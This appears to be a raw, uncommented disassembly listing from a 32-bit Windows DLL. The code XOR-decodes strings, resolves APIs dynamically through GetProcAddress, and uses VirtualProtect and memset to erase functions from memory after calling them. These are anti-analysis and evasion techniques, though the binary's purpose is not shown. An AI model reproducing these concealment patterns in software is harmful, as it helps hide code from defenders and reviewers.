mov cl, byte [ebp - 0x2c]
mov edi, eax
mov al, byte [edx + edi]
lea edx, [edx + 1]
xor al, cl
mov byte [edx - 1], al
sub esi, 1
jne 0x10070822
mov edi, dword [ebp - 0x14]
mov esi, 0xb
push edi
push dword [ebp - 0xe4]
mov byte [edi + esi], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x100e881c], eax
lea eax, [esi + 1]
mov dword [ebp - 0x28], 0xa
mov dword [ebp - 0x24], 0x49467527
mov dword [ebp - 0x20], 0x744a4843
mov dword [ebp - 0x1c], 0x434242
call fcn.1007cd80
mov edi, esp
lea esi, [ebp - 0x23]
mov ecx, edi
sub esi, edi
mov edx, 0xa
nop dword [eax]
mov al, byte [esi + ecx]
lea ecx, [ecx + 1]
xor al, 0x27
mov byte [ecx - 1], al
sub edx, 1
jne 0x10070890
push edi
push dword [ebp - 0xe4]
mov byte [edi + 0xa], dl
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0xc5]
mov dword [0x100e8814], eax
mov byte [ebp - 0xc5], 0
call fcn.10073390
lea ecx, [ebp - 0xc5]
mov eax, dword [eax + 1]
mov dword [0x100e8820], eax
mov byte [ebp - 0xc5], 0
call fcn.10073510
movaps xmm0, xmmword [0x1008dda0]
mov esi, 0xc
mov dword [ebp - 0x30], esi
movups xmmword [ebp - 0x2c], xmm0
lea eax, [esi + 1]
call fcn.1007cdb0
mov edi, esp
lea eax, [ebp - 0x2b]
xor ecx, ecx
mov dword [ebp - 0x14], edi
sub eax, edi
sub esi, ecx
mov dword [ebp - 0xd8], eax
lea edx, [ecx + edi]
mov cl, byte [ebp - 0x2c]
mov edi, eax
nop
mov al, byte [edi + edx]
lea edx, [edx + 1]
xor al, cl
mov byte [edx - 1], al
sub esi, 1
jne 0x10070920
mov edi, dword [ebp - 0x14]
sub esp, 0x18
mov esi, 0xc
mov ecx, esp
push edi
mov byte [edi + esi], 0
call fcn.1000f4a0
mov ecx, dword [ebp - 0xf0]
call fcn.10074d80
add esp, 0x18
mov dword [0x100e8964], eax
lea ecx, [ebp - 0xc5]
mov byte [ebp - 0xc5], 0
call fcn.10073680
nop
nop
nop
nop
nop
call fcn.10073810
mov edi, fcn.10073810
mov al, byte [edi]
cmp al, 0xe9
jne 0x1007098d
mov edi, fcn.10073810
mov eax, edi
add edi, 5
jmp 0x1007099b
cmp al, 0xeb
jne 0x1007099e
mov edi, fcn.10073810
mov eax, edi
add edi, 2
add edi, dword [eax + 1]
movaps xmm0, xmmword [0x1008e450]
mov eax, 0x10
mov dword [ebp - 0x2c], 0xe
movups xmmword [ebp - 0x28], xmm0
call fcn.1007cd80
mov eax, esp
lea esi, [ebp - 0x27]
mov dword [ebp - 0xf0], eax
mov ecx, eax
sub esi, eax
mov edx, 0xe
nop
mov al, byte [esi + ecx]
xor al, 0x1a
mov byte [ecx], al
inc ecx
sub edx, 1
jne 0x100709d0
mov edx, dword [ebp - 0xf0]
push ecx
mov ecx, edi
mov byte [edx + 0xe], 0
call fcn.1006a5c0
add esp, 4
mov esi, eax
lea eax, [ebp - 0x14]
sub esi, edi
add esi, 6
push eax
push 0x40
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
push 0
push edi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x14]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword fs:[0x2c]
mov ecx, dword [0x100e42e0]
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x100f3840]
cmp eax, dword [ecx + 4]
jle 0x10070a75
push 0x100f3840
call fcn.1007bfd7
add esp, 4
cmp dword [0x100f3840], 0xffffffff
jne 0x10070a75
push 0x10083290
mov dword [0x100f383c], 0
call fcn.1007be5e
push 0x100f3840
call fcn.1007bf8d
add esp, 8
cmp dword [0x100f383c], 0
jne 0x10070aa8
push 4
call fcn.1007ba14
add esp, 4
mov dword [ebp - 0xf0], eax
mov ecx, eax
mov dword [ebp - 4], 0
call fcn.1006f5b0
mov dword [ebp - 4], 0xffffffff
mov dword [0x100f383c], eax
call fcn.100409c0
mov ecx, eax
call fcn.1005cfd0
mov edi, fcn.1005cfd0
mov al, byte [edi]
cmp al, 0xe9
jne 0x10070acc
mov edi, fcn.1005cfd0
add edi, dword [edi + 1]
add edi, 5
jmp 0x10070add
cmp al, 0xeb
jne 0x10070add
mov edi, fcn.1005cfd0
mov eax, edi
add edi, 2
add edi, dword [eax + 1]
movaps xmm0, xmmword [0x1008e450]
mov eax, 0x10
mov dword [ebp - 0x2c], 0xe
movups xmmword [ebp - 0x28], xmm0
call fcn.1007cd80
mov eax, esp
lea esi, [ebp - 0x27]
mov dword [ebp - 0xf0], eax
mov ecx, eax
sub esi, eax
mov edx, 0xe
nop dword [eax]
mov al, byte [esi + ecx]
xor al, 0x1a
mov byte [ecx], al
inc ecx
sub edx, 1
jne 0x10070b10
mov edx, dword [ebp - 0xf0]
push ecx
mov ecx, edi
mov byte [edx + 0xe], 0
call fcn.1006a5c0
add esp, 4
mov esi, 6
sub esi, edi
add esi, eax
lea eax, [ebp - 0x14]
push eax
push 0x40
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
push 0
push edi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x14]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.10074220
mov edi, fcn.10074220
mov al, byte [edi]
cmp al, 0xe9
jne 0x10070b81
mov edi, fcn.10074220
add edi, dword [edi + 1]
add edi, 5
jmp 0x10070b92
cmp al, 0xeb
jne 0x10070b92
mov edi, fcn.10074220
mov ecx, edi
add edi, 2
add edi, dword [ecx + 1]
movaps xmm0, xmmword [0x1008e450]
mov eax, 0x10
mov dword [ebp - 0x2c], 0xe
movups xmmword [ebp - 0x28], xmm0
call fcn.1007cd80
mov eax, esp
lea esi, [ebp - 0x27]
mov dword [ebp - 0xf0], eax
mov ecx, eax
sub esi, eax
mov edx, 0xe
mov al, byte [esi + ecx]
xor al, 0x1a
mov byte [ecx], al
inc ecx
sub edx, 1
jne 0x10070bc2
mov edx, dword [ebp - 0xf0]
push ecx
mov ecx, edi
mov byte [edx + 0xe], 0
call fcn.1006a5c0
mov esi, eax
add esp, 4
mov eax, 6
sub eax, edi
add esi, eax
lea eax, [ebp - 0x18]
push eax
push 0x40
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
push 0
push edi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x18]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov byte [0x100e8806], 1
nop
nop
nop
nop
nop
lea esp, [ebp - 0x148]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1007ba06
mov esp, ebp
pop ebp
ret